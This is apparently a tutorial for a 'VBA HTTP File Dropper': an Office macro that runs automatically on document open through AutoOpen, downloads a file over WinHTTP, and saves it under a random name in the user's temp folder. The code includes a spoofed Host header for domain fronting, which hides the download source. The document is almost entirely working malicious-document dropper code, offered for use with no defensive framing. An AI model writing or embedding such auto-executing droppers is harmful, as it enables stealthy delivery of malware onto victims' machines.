VBA: HTTP File Dropper

Objective

Download a file from web and save it into current users temp folder with random name.

To do list

• Generate random name.

• Find current users temp path.

• Initialize WinHTTP.

• Send a GET request to a URL.

• Get response body as result.

• Save it into temp folder with random name generated.

Functions

• Environ: Will be used for detecting temp path of current user.

  • Definition: Environ(envstr)

    • envstr: "Temp" for finding temp path.

• CreateObject: Will be used for creating WinHTTP object.

  • Definition: CreateObject(class, [ servername ])

    • Parameter: WinHTTP.WinHTTPrequest.5.1 for WinHTTP.

• Open function of WinHTTP object: Will be used for creating HTTP handle.

  • Definition: Open "Method", "URL", false

    • Method: GET

    • URL: Url to retrieve value

    • false: I dont care about this.

• SetRequestHeader function of WinHTTP object: Set custom http header.

  • Definition: SetRequestHeader "Header", "Value"

    • Header: e.g HOST

    • Value: e.g domain-fronting.com

• Send function of WinHTTP object: Send http request.

  • Definition: Use it directly without any parameters.

• ResponseBody function of WinHTTP object: Get the response body.

  • Definition: Use it directly without any parameters.

• Open: will be used for opening file.

  • Definition: Open pathname For mode [ Access access ] [ lock ] As [ # ] filenumber

• Put: will be used for putting data into file.

Application (Downloader.vba)

Sub AutoOpen()

Call DownloadFile

End Sub


Sub DownloadFile()

Dim httpObject As Object
Dim savePath As String
Dim url As String
Dim charList As Variant
Dim charListLength As Integer
Dim x As Long
Dim saveName As String
Dim Data() As Byte
Dim DataNum As Long

  
'char array will be used for creating new name

charList = Array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", _
  "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", _
  "y", "z")
  
 'length of the char array
 
charListLength = UBound(charList) - LBound(charList) + 1

' generate name for file. Name will be 8 chars long.
  For x = 1 To 8
    saveName = saveName & charList(Int((charListLength * Rnd)))
  Next x


' get the temp file path

savePath = Environ("temp") & "\" & saveName




' Create winhttp object

Set httpObject = CreateObject("WinHTTP.WinHTTPrequest.5.1")

' open http handle

httpObject.Open "GET", "URL", False

' set necessary headers

httpObject.SetRequestHeader "Host", "domain-fronting.com"

'send request

httpObject.Send

'get response and save to save path.

Data = httpObject.ResponseBody

DataNum = FreeFile()


Open savePath For Binary Access Write As #DataNum
    Put #DataNum, 1, Data
Close #DataNum


End Sub